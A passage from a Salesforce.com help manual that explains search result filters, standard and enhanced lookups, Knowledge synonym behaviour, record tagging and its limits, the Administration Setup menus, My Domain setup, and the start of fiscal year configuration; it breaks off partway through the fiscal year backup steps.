Your administrator determines the fields available for filtering search and Enhanced Lookups results. Filters are only available
in the search results if your administrator created a search layout for filters on an object. Filters aren't available in Customer
Portals or partner portals.
Use the following tips for filtering search results:

• If you perform a blank lookup—that is, you click the lookup icon without entering a search term—filters will only apply to
items in the most recently used list. Otherwise, filters will apply to both this list and the resulting records of the lookup.
• When filtering search results, the operator is selected automatically based on the field type. The “equals” operator is used
for fields with the following types of fields:

- Dates
- Numbers, except auto number or phone fields
- Record IDs

All other fields use the “contains” operator. Auto number and phone fields use the “contains” operator because they can
contain non-numeric characters.
• Commas are used as OR operators in search results filters. However, for number fields where a comma can be part of a
number, commas are not treated as OR operators and users must explicitly enter the OR operator.
Note: When filtering search results, the explicit OR operator is only supported in number fields.

• The criteria you specify in search results filters are AND based. That is, if you specify more than one criterion, the result
includes only records that match all of the criteria.
• Any field of type URL is filtered based on the exact value that is entered by the user for that field.

329
Search and Tags Lookup Dialog Search

Note: When you enter a value in a URL field and save the record, Salesforce.com adds http:// to any URL that
doesn’t start with http:// or https://. However, the added http:// is not stored in the database. For example, if you
enter salesforce.com in the Website field and save the record, the value in the Website field displays as
http://salesforce.com, but the stored value is actually salesforce.com. Therefore, if you enter “http://salesforce.com”
in the Website filter field, your results do not include your record.

• The visibility of filter options (whether they are hidden or shown) is saved from session to session.
• You can enter special values for dates; see Special Date Values for Filter Criteria on page 226.
• If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies on page 2166.

See Also:
Searching Records
Search Wildcards and Operators
Tip sheet: Finding the Information You Need

Lookup Dialog Search


Available in: All Editions

Salesforce.com objects often include one or more lookup fields that allow users to associate two records together in a relationship.
For example, a contact record includes an Account lookup field that represents the relationship between the contact and its
associated organization. The object that contains the lookup field is the source object, while the object the lookup points to is
the target object.

Users can differentiate lookup fields from other fields because they appear with the button on record edit pages. Clicking
opens a lookup search dialog that allows the user to search for the record that should be associated with the one being
edited. A blank lookup is performed when you click the lookup icon without entering a search term.
Salesforce.com provides two types of lookups:
Standard Lookups
By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields
listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order, and
do not allow for sorting, filtering, or customizable columns.

Enhanced Lookups
If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups.
Enhanced lookups update standard lookup fields with the following functionality:

• Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and
special characters. In other words, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches
for All and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S&
returns fields containing both S& and &S.
• Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results.
Users can also hide and reorganize the columns that are displayed in the results window.

330
Search and Tags Lookup Dialog Search

Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields
that limit the valid values and lookup dialog results for the field.

• Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search
results.
• In enhanced lookups, you can use wildcards in your search terms; however, the wildcard can't be the first character
in the search term or phrase.

When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used
records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first
50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup
on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup
icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups
of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank
lookup—that is, you click the lookup icon without entering a search term—filters will only apply to items in the most recently
used list. Otherwise, filters will apply to both this list and the resulting records of the lookup.
Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.

Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently
used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of
lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently
used accounts with names that match the prefix you have entered. Recently used contacts do not appear in this list.
Lookup auto-completion is subject to the following restrictions:
• You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated.
• You must be editing the lookup field on a record's edit page.

Tips for Using Standard and Enhanced Lookups


Consider the following tips when using standard and enhanced lookups:
• To improve standard lookup dialog search results, use an asterisk (*) wildcard within your search string.
For example, searching for com* finds items with com at the beginning of any word in the search string, such as commerce,
community, and edge communications.
• When you use wildcards to search enhanced lookup fields, be aware that the results may include more records than you
expect if your search term includes combinations of letters, numbers, and special characters.
• If you enter a value into the lookup text box and save the record without clicking the lookup icon ( ), Salesforce.com
automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce.com
displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead.
• A wildcard is automatically appended to each of your search terms.
For example, searching for bob jo returns items with bob jones, bobby jones, or bob johnson.
• To search for contacts, leads, users, or other individuals that include spaces in the First Name or Last Name fields,
enter quotes around the terms.
For example, to search for bob von hausen, enter "bob von hausen".

331
Search and Tags Configuring Lookups

• In organizations where the Salesforce.com Customer Portal or partner portal is enabled, you can filter the results that will
display on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down
list.
• If your organization uses divisions and you have the “Affected by Divisions” permission, your lookup dialog search results
include records in the division you select in the lookup dialog window.

See Also:
Search Overview
Filtering Search Results

Configuring Lookups
Available in: All Editions

Administrators can configure lookups in the following ways:

• By enabling enhanced lookups and specifying which fields users can use to filter lookup search dialog results
• By enabling lookup auto-completion
• By creating lookup filters that limit the valid values and lookup dialog results for the relationship field

Enabling Enhanced Lookups

User Permissions Needed


To enable enhanced lookups and specify lookup filter fields: “Customize Application”

Administrators can enable enhanced lookups with the following steps:


1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.
2. In the Lookup Settings area, select the objects for which you want to enable enhanced lookup functionality. Currently,
only account, contact, user, and custom object lookups can use this feature.
3. Click Save.
Note: If you enable enhanced lookups in your organization, it is also enabled for any Visualforce pages you create.

After enabling enhanced lookups, you can specify which fields users can use to filter lookup search dialog results. If you don't
specify any fields, your users cannot use filters in enhanced lookup dialogs:
1. Click Setup ➤ Customize, select Accounts, Contacts, or Users, and click Search Layouts. To access search layouts for
custom objects, click Setup ➤ Create ➤ Objects, click on the name of the object you want to modify, and then scroll
down to the Search Layouts related list.
2. Click Edit next to the Lookup Filter Fields layout.
3. Use the arrows to add or remove fields from the layout, and to define the order in which the fields should display. You can
add up to six filter fields to the Selected Fields list. To select more than one field at a time, use CTRL+click or SHIFT+click
to select multiple items in a range.

332
Search and Tags Managing Salesforce Knowledge Synonyms

4. Click Save.

Enabling Lookup Auto-Completion

User Permissions Needed


To enable lookup auto-completion: “Customize Application”
To use lookup auto-completion: “Edit” on the record that includes the lookup field

You can save time for your users by enabling lookup auto-completion, which is available on for account, contact, user, and
custom object lookups. This feature enables users to select items from a dynamic list of matching recently-used records when
a lookup field is edited.
Administrators can enable lookup auto-completion with the following steps:
1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.
2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only
account, contact, user, and custom object lookups can use this feature.
3. Click Save.

See Also:
Search Overview

Managing Salesforce Knowledge Synonyms


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete synonym groups: “Manage Synonyms”

Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize
search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are
synonymous with those terms. For example, if you define a synonym group with these synonyms:
CRM, customer relationship management, Salesforce.com
then a search for customer relationship management matches articles containing customer relationship management,
as well as articles containing CRM or Salesforce.com.
When building synonym groups, work with knowledge managers and other subject matter experts in your organization to
create relevant synonyms.
To view and manage synonyms, click Setup ➤ Customize ➤ Search ➤ Knowledge Synonyms.

• To create a synonym group, click New. Enter at least two synonyms. A synonym can be any word or phrase. You can add
up to 300 synonym groups.

333
Search and Tags How Salesforce Knowledge Synonyms Work in Searches

Note: You can't use the following symbols in synonyms:

Symbol Description
* Asterisk
? Question mark
" Quotation mark
( Open parenthesis
) Closed parenthesis

• To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click
Apply Filters.
• To edit a synonym group, click Edit next to the synonym group, then update the synonyms as needed.
• To delete a synonym group, click Del next to the synonym group.

See Also:
How Salesforce Knowledge Synonyms Work in Searches
Searching for Articles

How Salesforce Knowledge Synonyms Work in Searches


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Knowledge synonyms affect search behavior in the following ways:


Priority
If a search term is part of a synonym group, the search results list items that contain the search term, followed by items
that contain other terms in the synonym group.
For example, if this synonym group is defined:
fruit, oranges
Then a search for oranges matches a list of items containing oranges, followed by items containing fruit.
Note: In the Article Management tab, if you sort the list by clicking a column header, the sort order, not priority,
persists in the current and additional searches.

Wildcards
If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even
if the search phrase contains a defined synonym.
For example, if these synonym groups are defined:

334
Search and Tags How Salesforce Knowledge Synonyms Work in Searches

fruit, oranges, apples


cabbage, lettuce
Then a search for orang* lettuce matches items that contain orange and oranges, but doesn't match items that
contain fruit, apples, and cabbage.

Search operators
If a search operator—and, or, or and not—is part of a defined synonym and that synonym is used as a search phrase, the
search treats the phrase as a literal string and doesn't use the operator. An operator is valid if the search phrase is not a
defined synonym.
For example, if this synonym group is defined:
fruit, oranges and apples
Then a search for oranges and apples matches items that contain the exact phrase oranges and apples and the word
fruit.

Exact phrase matches


If an exact phrase contains a defined synonym as well as other text, the search doesn't treat the phrase as a synonym.
For example, if this synonym group is defined:
oranges apples, fruit
Then an exact phrase search for “raspberries oranges apples” doesn't match items that contain the word
fruit.

Stemming
A synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term is
stemmed.
For example, if this synonym group is defined:
quench, drink orange juice
Then a search for quench matches items that contain quench, quenched, quenching, and drink orange juice, but doesn't
match items that contain drinking orange juice.

Ignored words
Words that are normally ignored in searches, such as the, to, and for, are matched if the word is part of a defined synonym.
For example, if this synonym group is defined:
peel the orange, cut the apple
Then a search for peel the orange matches items that contain the exact string peel the orange.

Overlapping synonyms
If a search term consists of overlapping synonyms from different groups, the search matches synonyms in all of the
overlapping synonym groups.
For example, if these synonym groups are defined:

• orange marmalade, citrus


• marmalade recipe, sugar

335
Search and Tags About Tagging

Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade
recipe, and sugar.

Subsets
If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term
doesn't match items that contain synonyms from the subset synonym group.
For example, if these synonym groups are defined:

• orange, apple
• orange marmalade, citrus
• marmalade, jam

Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match
items that contain apple, jam, only marmalade, and only orange.

See Also:
Managing Salesforce Knowledge Synonyms
Searching for Articles

About Tagging
Available in: All Editions

Tags are words or short phrases that users can associate with most Salesforce.com records to describe and organize their data
in a personalized way. Tags allow users to group records from various objects by a common topic or use, and then use those
tags in search to make finding information fast and intuitive.
For example, if a user met a number of contacts and leads at a conference, she might tag them all with the phrase User
Conference 2007. She could then search for the User Conference 2007 tag and click that tag in Sidebar or Advanced
Search results to retrieve those records.
Salesforce.com supports two types of tags:

• Personal tags are private for every user. That is, any personal tag that a user adds to a record can only be viewed by that
user.
• Public tags are shared between all users in an organization. That is, any public tag that a user adds to a record can be viewed
by any other user who can also access the record.

Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship
group members). This allows users to:

• View personal and public tags on a record


• Add personal and public tags to a record, either by creating a new tag with free-form text entry, or by selecting from
personal and public tags that have already been created
• Remove personal and public tags from a record

336
Search and Tags Tagging Records

For more information, see Tagging Records on page 337.


Once tags are assigned to records, users can:

• Search for personal and public tags from Sidebar or Advanced Search
• Browse personal and public tags alphabetically, by frequency of use, or by recency of use
• View all records with one or more assigned personal and public tags
• Rename personal and public tags or merge personal and public tags that are similar or redundant
• Delete personal and public tags that are no longer needed, sending them to the Recycle Bin

For more information, see Browsing, Searching, and Managing Tags on page 338.

See Also:
Tagging Limits
Search Overview
Using the Tags Sidebar Component
Enabling Tags
Deleting Personal Tags for Deactivated Users
Tip sheet: Finding the Information You Need

Tagging Records
Available in: All Editions

User Permissions Needed


To edit tags on a record: “Read” on the record

To tag a record:

1. On the record detail page, click Add Tags in the Tags area just under the colored title bar. If the record already has
associated tags, click Edit Tags instead.
2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the personal and public tags that
you want to associate with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must
contain at least one letter or number.
As you enter new tags, up to ten tags that have already been defined are displayed as auto-complete suggestions. As you
type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose one of the
suggestions, click on it or use your keyboard arrow keys to select it and press the TAB or ENTER key.
3. Click Save to save your changes, or Cancel to discard them.
Note: You and your organization are subject to limits on the number of personal and public tags that you can
create and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits,
the tag is not saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing,
Searching, and Managing Tags on page 338.

337
Search and Tags Browsing, Searching, and Managing Tags

To remove a tag from a record:

1. On the record detail page, click Edit Tags in the Tags area just under the colored title bar.
2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove from the
record.
3. Click Save to save your changes, or Cancel to discard them.
If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other
records use the tag, the tag still appears in search results and the Tags page.

Tip: When you are creating or editing tags in the Tags area, you can also press the ENTER key to save your changes,
or the ESC key to discard them.

See Also:
About Tagging
Tagging Limits
Using the Tags Sidebar Component
Tip sheet: Finding the Information You Need

Browsing, Searching, and Managing Tags


Available in: All Editions

You can browse, search, and manage personal and public tags in the Tags page. To access this page, click the name of any tag
on a detail page, or, if your administrator has enabled the Tags sidebar component, click Tags in the sidebar.
Review the following topics for information on how to use this page:

• Viewing and Browsing Tags


• Finding Records with Tags
• Searching Tags
• Managing Tags
• Reviewing Personal Tag Usage Statistics

Viewing and Browsing Tags


The Tags page displays a list of all tags that you can view in your organization. You can use the Personal Tags and Public
Tags checkboxes at the top right corner of the page to view just personal tags, just public tags, or both personal and public
tags at the same time.

Personal tags are associated with the tag icon ( ). Because personal tags are private, you can only see the personal tags that
you have defined; you cannot see the personal tags of other users. You can, however, see all public tags that have been defined
in your organization.
You can browse through your tags by clicking a letter at the top of the tag browsing area to view only tags that begin with that
letter, or by using the Next Page and Previous Page links at the bottom.

338
Search and Tags Browsing, Searching, and Managing Tags

By default, tags are listed in alphabetical order. You can also choose By Number of Uses from the Sort picklist to sort tags
by the number of records that are tagged by them, or choose By Most Recently Used to sort tags by how recently they were
added to a record.

Finding Records with Tags


Each tag includes a number in parentheses that indicates how many records are associated with that tag. You can view those
records by clicking the tag. The list of records appears below the tag browsing area, organized by object. You can narrow your
results further by clicking additional tags. When more than one tag is selected, only records that match all selected tags are
displayed in the list of results. Click [X] next to a tag to deselect it and remove it from the filter. Click Clear Selected Tag(s)
to deselect all tags and start over.
Note:
• The number of records associated with a tag can sometimes be greater than the number of records displayed when
you click that tag in the Tags page. This situation occurs if you tagged a record and then lost permission to view
it because of a change in sharing, or if a record that you do not have access to has one or more public tags.
• Custom objects that do not have an associated tab are not returned in search results or displayed on the Tags page,
even if tags are enabled for the custom object. For custom object records to appear in search results or the Tags
page, an associated tab only needs to exist; the tab does not have to be visible to users.

As with regular search results, you can select and reorder the columns that appear for each object, and filter the search results
by particular values. See Viewing Search Results on page 327.

Searching Tags
You can search tags by entering terms in the Search Tags text box and clicking Search. Only tags that meet your search criteria
are listed in the tag browsing area. You can then click any tag to view records associated with that tag.
Search strings must include at least two characters to return results, and can also include wildcards and other special operators.
See Search Wildcards and Operators on page 325.
The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search
string to return to your results.

Managing Tags

User Permissions Needed


To rename or delete public tags: “Tag Manager”

The Tags page allows you to rename and delete tags:


• To rename a tag, hover over the tag and select Rename from the drop-down menu that appears around the tag. Enter a
new name for the tag in the text box that appears and click Save.
• To delete a tag, hover over the tag and select Delete from the drop-down menu that appears around the tag. The tag is
removed from every record in your organization and is placed in the Recycle Bin.
If you restore a tag from the Recycle Bin, it is automatically reassociated with the records from which it was removed. For
more information, see Recycle Bin on page 47.

You can rename or delete any personal tag, but you must have the “Tag Manager” profile permission to rename or delete a
public tag.

339
Search and Tags Tagging Limits

Reviewing Personal Tag Usage Statistics


You can review your current usage of personal tags from the Tags page by clicking the Personal Tag Usage link on the right
side. This page displays your current number of unique personal tags and personal tag applications. A user is limited to a
maximum of:
• 500 unique personal tags
• 5,000 instances of personal tags applied to records
If you are approaching your personal tag limits, consider merging similar tags into a single tag by renaming. For example, if
you have tags for Bicycling, Cycling, and Biking, you can rename Cycling and Biking to Bicycling to reduce your number of
unique personal tags.
To reduce the number of instances of tags applied to records, delete personal tags that you no longer use.

See Also:
About Tagging
Tagging Limits
Search Overview
Tagging Records
Using the Tags Sidebar Component
Tip sheet: Finding the Information You Need

Tagging Limits
Available in: All Editions

A user is limited to a maximum of:

• 500 unique personal tags


• 5,000 instances of personal tags applied to records

Across all users, an organization is limited to:

• 1,000 unique public tags


• 50,000 instances of public tags applied to records
• 5,000,000 instances of personal and public tags applied to records

See Also:
About Tagging
Tagging Records
Browsing, Searching, and Managing Tags
Deleting Personal Tags for Deactivated Users
Tip sheet: Finding the Information You Need

340
ADMINISTERING SALESFORCE

Setting Up Your Organization


The available setup options vary according to which Salesforce.com Edition you have.

Click Setup ➤ Administration Setup to open the Administration Setup page. It contains setup and customization options
to help you set up your Salesforce.com organization.

Getting Started
Review the Rollout Guide for best-practice examples on setting up Salesforce.com and ensuring a successful rollout. The
guide is not available for Personal or Developer Editions.

Manage Users
Expand the Manage Users folder under Administration Setup to access the following options:
Users
Create, edit, and deactivate users (see also About Customer Portal User Management on page 1338).

Mass Email Users


Send an email to several of your users at once.

Roles
Define your organization’s role hierarchy.

Profiles
Set user profiles to control users’ permissions, login access, and field-level security.

Public Groups
Add, update, or delete public groups.

Queues
Add, update, or delete queues for cases, leads, and custom objects.

Login History
View when your users are logging in.

Training History
View which users have taken online training.

Company Profile
Expand the Company Profile folder under Administration Setup to access the following options:

341
Administering Salesforce Setting Up Your Organization

Company Information
Update your company's information and set up multiple currencies.

Manage Currencies
Set up multiple currencies.

Manage Divisions
Set up divisions to segment your data for greater ease-of-use.

Fiscal Year
Set up fiscal years for your organization.

Business Hours
Set up business hours for your customer support team.

Holidays
Set up holidays during which business hours for your customer support team don't apply.

My Domain
Set up a custom Salesforce.com domain name, which appears in the URLs that you use to login to and use the application.

Security Controls
Expand the Security Controls folder under Administration Setup to access the following options:
Sharing Settings
Define how your users share data.

Field Accessibility
View the access that users have to specific fields based on profile and record types.

Password Policies
Define password policies for security.

Session Settings
Lock users’ sessions to an IP address or change session timeout settings.

Network Access
Define IP addresses from which users can log in to your organization.

Certificate and Key Management


Create and manage Salesforce.com key pairs and certificates for your organization.

View Setup Audit Trail


View which users have recently changed your organization’s setup.

Account Owner Report


Restrict users from running the Account Owners report, which lists all accounts and who owns them.

Expire All Passwords


Expire passwords for all users in the organization.

342
Administering Salesforce Setting Up Your Organization

Delegated Administration
Enable standard users to perform some administrative duties.

Remote Site Settings


Specify the Web addresses that your organization can invoke from Salesforce.com. You must specify a site before callouts
to them from Visualforce pages, Apex, or the AJAX proxy will function correctly.

HTML Documents and Attachments Settings


Restrict users from uploading HTML files as attachments or to the Documents tab.

Portal Health Check


View reports that show portal users' data access levels for your organization.

Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options:
Letterheads
Create branded letterheads for HTML emails.

Email Templates
Create email templates to standardize communication.

Mail Merge Templates


Upload templates for mail merge documents.

Translation Workbench
Expand the Translation Workbench folder under Administration Setup to add available languages, assign translators,
translate entities, and override packaged entities for your users.

Data Management
Expand the Data Management folder under Administration Setup to access the following options:
Analytic Snapshots
Enable users to automatically run reports and save report results to fields on custom objects for further customization.

Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects
Import your organization’s accounts, contacts, custom objects, leads, person accounts, and solutions.

Data Export
Export your organization’s data.

Storage Usage
View how much data storage and file storage your organization is using.

Mass Transfer Records


Transfer multiple records at one time.

Mass Delete Records


Delete multiple records at one time.

343
Administering Salesforce Setting Up Your Organization

Mass Transfer Approval Requests


Transfer multiple approval requests at one time.

Delete All Data


Delete the existing data from your trial organization.

Mass Reassign Account Teams and Mass Reassign Opportunity Teams


Add, remove, and reassign account and sales team members for multiple records.

Mass Division Transfer


Change divisions for multiple records.

Sandbox
Create a complete single copy of your organization in a separate environment to do a variety of actions—such as quality
assurance testing, integration testing, or user training—without compromising your organization’s data.

Mass Update Addresses


Update the Country or State/Province field on all records with an address. These include addresses in accounts,
contacts, contracts, invoices, leads, and orders.

Data Loader
Download a client application that allows you to import, update, delete, and export large quantities of records.

Monitoring
Expand the Monitoring folder under Administration Setup to access the following options:
Imports
An administrator can check the Import Queue to view details about an import or to cancel an organization import.

Outbound Messages
An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow
or approval processes.

Time-Based Workflow
Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules.

Case Escalations
Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation
rules.

API Usage Notifications


Define a notification process that automatically sends email to a specified user when API requests for an organization
exceed the specified limit.

Mass Emails
View the status of scheduled mass emails and cancel mass emails as appropriate.

Debug Logs
Specify the users for whom you want to retain the Apex debug logs in your organization.

Scheduled Jobs
View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes.

344
Administering Salesforce Setting Up Your Organization

Email Log Files


Request detailed summaries of email sent from Salesforce.com over the last 30 days.

Bulk Data Load Jobs


Monitor the status of current and recent bulk data load jobs.

Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless
users. Mobile configurations are sets of parameters that determine which data Salesforce.com transmits, and which users
receive that data on their mobile devices.

Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect
Offline and Connect for Outlook.
Outlook Configurations
Define the behavior of Salesforce CRM for Outlook for your users, including the Salesforce.com options that appear in
the Outlook user interface, the data that syncs between Salesforce.com and Outlook, and which users receive that data.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.

Offline Briefcase Configurations


Define the behavior of Connect Offline for your offline users. Offline briefcase configurations are sets of parameters
that determine which data Salesforce.com transmits and which users receive that data in Connect Offline.

Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your
organization:
Deliverability
Set up email delivery options that affect your entire organization.

Organization-Wide Addresses
Associate an email alias with each available user profile.

Compliance BCC Email


If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance
BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under
My Email Settings.

Email Relay Activation


Configure Salesforce.com to automatically route email through your company's Simple Mail Transfer Protocol (SMTP)
server.

Test Deliverability
Verify your organization can receive email from every Salesforce.com IP address.

345
Company Information About Company Information

Email To Salesforce
Automatically log emails you send from third-party email accounts as activities on lead and contact records in
Salesforce.com.

Attachments Sent as Links


Find and delete email attachments sent as links.

Email Footers on page 787


Create footers for outgoing email.

Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce.com with Google Apps™: a suite of
on-demand communication and collaboration tools hosted by Google and designed for business users.

COMPANY INFORMATION

About Company Information


Available in: All Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information: “Customize Application”

When your company signs up, the information provided during signup is displayed on the Company Information page at
Setup ➤ Company Profile ➤ Company Information.
From the Company Information page, you can:

• Click Edit to change your company's information, including your organization's Default Language setting.
• Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise,
Unlimited, and Developer Editions only.
• Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list.
For detailed instructions, see Checkout User Guide.

The Company Information page also displays all of the active user and feature licenses you have purchased for your organization.
A user license entitles a user to different functionality within Salesforce.com and determines the profiles available to the user.
A feature license entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
This page lists the following for each type of license:

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.

346
Company Information My Domain Overview

• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.

See Also:
Company Information Fields
Understanding Language, Locale, and Currency
Managing Multiple Currencies
Viewing User License Types
Viewing Feature Licenses

My Domain Overview
Available in: Unlimited, Enterprise, and Developer editions.

Using My Domain, your organization can select a custom Salesforce.com domain name that highlights your brand, or a
different term that represents your business. Using a custom domain name provides other important advantages, such as
increased security and better support for single sign-on. My Domain is also available for sandbox environments.
Your domain name uses the standard URL format, including:

• The protocol: https://


• The subdomain prefix: your brand or term
• The domain: my.salesforce.com

For example, the login URL for a company called Universal Containers would be:
https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.

It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to
make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period,
you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the
URLs for other pages in the application.
When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can
block them entirely or redirect them to the new URL—with or without a message.
Important: Once you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected
to your new domain.

See Also:
Setting Up and Rolling Out a Domain Name
Using My Domain

347
Company Information Setting Up and Rolling Out a Domain Name

Setting Up and Rolling Out a Domain Name


Available in: Unlimited, Enterprise, and Developer editions.

User Permissions Needed


To set up a domain name: “Customize Application”

When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages,
will change. This table shows you the differences.

URL Type Old URL New URL


Login https://login.salesforce.com https://<subdomain>.my.salesforce.com

Application page https://na1.salesforce.com/<pageID> https://<subdomain>.my.salesforce.com


or tab /<pageID>

Visualforce page https://c.na1-salesforce. https://<subdomain>--c.na1-salesforce.


with no namespace visual.soma.force.com/apex/<pagename> visual.soma.force.com/apex/<pagename>
Visualforce page https://<yournamespace>. https://<subdomain>--
with namespace na1-salesforce.visual.soma.force.com <yournamespace>.na1-salesforce.
/apex/<pagename> visual.soma.force.com/apex/<pagename>

Setting Up Your New Domain Name

1. Click Setup ➤ Company Profile ➤ My Domain.


2. Enter the name you want to use within the sample URL. For example, the login URL for a company called Universal
Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.
3. Click Check Availability. If your name is already taken, choose a different one.
4. Click Terms and Conditions to review your agreement, then select the checkbox.
5. You'll receive an email when your domain name is ready for testing. (It can take from 24 to 72 hours.) Click the
URL in the email to login to Salesforce.com using your new domain name.

Testing and Rolling Out Your New Domain Name


Test the new domain name by clicking tabs and links that you use within your application. You'll notice that all the tabs
and pages show your new domain name. After you test your domain name, you're ready to roll it out to users.

1. When you finish testing your new domain name, click Setup ➤ Company Profile ➤ My Domain and click Deploy
to Users to roll out the new domain name to your organization.
Important: Once you deploy your new domain name, you can't reverse it. After deployment, all users will
be redirected to your new domain.

348
Company Information Setting Up and Rolling Out a Domain Name

2. Click Edit in the My Domain Settings related list. If you want to accept logins from your new domain only, select
the Login Policy checkbox. If you don't require users to log in from the new domain, they'll be blocked or
redirected based on your redirect setting.
Tip: If you block application page requests that don't use the new Salesforce.com domain name URLs, let
your users know they need to either update old bookmarks or create new ones for the login page and any tabs
or links within the application. Users will be required to use the new URLs if you block page requests.

3. Select a redirect policy. If you want to redirect page requests that don't use the new domain name, select a redirect
option. Users can access application pages with or without a message explaining the URL change.
Tip: If you choose to redirect page requests to new URLs and provide a warning message, let your users
know that they should update their bookmarks the first time they're redirected.

4. Click Save.

Guidelines for Implementing Your Domain Name

• If you have customized your Salesforce.com UI with features such as custom buttons or Visualforce pages, make sure
you test thoroughly before you roll out your new domain name. Your customizations should not use instance-based
URLs.
• After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example,
choose the Redirected with a warning... option to make sure users update their bookmarks. When your
organization is ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so
users can't use their old URLs.
• If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click
Setup ➤ Manage Users ➤ Login History and look at the Username and Login URL columns.

Getting System Performance and Maintenance Information


Salesforce.com customers get system performance and maintenance information from trust.salesforce.com. Here's
how to get that information using your new domain name.

1. Go to trust.salesforce.com.
2. Click the System Status tab.
3. Enter your domain name to find your instance and check the status.
4. Scroll to the System Maintenance table and look for entries for your instance.

See Also:
My Domain Overview
Using My Domain

349
Company Information Setting the Fiscal Year

Setting the Fiscal Year


Available in: All Editions

User Permissions Needed


To view fiscal year: “View Setup and Configuration”
To change fiscal year: “Customize Application”

You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types
of fiscal years, see About Fiscal Years on page 351.

Setting a Standard Fiscal Year


If your organization follows the Gregorian calendar year, but you need to change the fiscal year start month, use standard fiscal
years. Standard fiscal years can start on the first day of any month, and you can specify whether the fiscal year is named for
the starting or ending year. For example, if your fiscal year starts in April 2001 and ends in March 2002, your fiscal year setting
can be either 2001 or 2002. If your fiscal year is more complicated than this, see Enabling Custom Fiscal Years on page 350
Caution: All quotas, forecast history, and overrides are lost if the fiscal start month is changed to a month that wasn't
previously the first month in a quarter. For example, if you change the start month from January to April, your data
will be preserved. However, if you change it from January to February, your data will be lost.

To set a standard fiscal year:


1. Back up your current data.
a. Run and export these reports to Excel:
• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs. Actual

b. Optionally, generate weekly export data.


